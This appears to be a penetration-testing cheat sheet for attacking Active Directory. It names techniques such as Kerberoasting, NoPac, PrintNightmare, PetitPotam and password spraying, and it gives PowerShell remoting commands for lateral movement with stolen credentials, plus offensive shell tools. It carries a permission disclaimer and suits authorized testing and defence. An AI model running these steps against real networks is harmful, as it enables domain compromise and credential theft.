AD Exploit

Attacks

• Use SharpHound to collect data to feed BloodHound

• Check compromised hosts on BloodHound for outbound attack paths

• Use NetExec to check for command execution via SMB, WinRM, and RDP for each compromised user.

• Kerberoast

• ASREProast

• Look for credentials in GPOs (gpp_password, autologin)

• For each compromised user, spider through readable SMB shares for sensitive information

• For each compromised user, conduct SMB Hash Theft attacks on writable SMB shares

• Look for passwords in user’s description fields

• Check the DC’s SYSVOL SMB share for scripts containing credentials

• NoPac

• PrintNightmare

• PetitPotam

• Try compromised local administrator hashes on other hosts

• Try Responder on different hosts

• Look for users with the PASSWD_NOTREQD field

• Password spray using previously found passwords

Getting Access

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

Lateral Movement

PowerShell Remoting

#Enable Powershell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName $ComputerName>
Enter-PSSession -ComputerName $ComputerName 
#-OR-
Enter-PSSession -Sessions $SessionName

Remote Code Execution with PS Credentials

$SecPassword = ConvertTo-SecureString '$Password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('$DomainName\$User', $SecPassword)
Invoke-Command -ComputerName $ComputerName -Credential $Cred -ScriptBlock {whoami /all}

Import a PowerShell module and execute its functions remotely

#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName $ComputerName -FilePath $PSModule_FilePath -Session $sess 

#Interact with the session
Enter-PSSession -Session $sess

Executing Remote Stateful commands

#Create a new session
$sess = New-PSSession -ComputerName $ComputerName

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Useful Tools

• Powercat netcat written in powershell, and provides tunneling, relay and portforward capabilities.

• SCShell fileless lateral movement tool that relies on ChangeServiceConfigA to run command

• Evil-Winrm the ultimate WinRM shell for hacking/pentesting

• RunasCs Csharp and open version of windows builtin runas.exe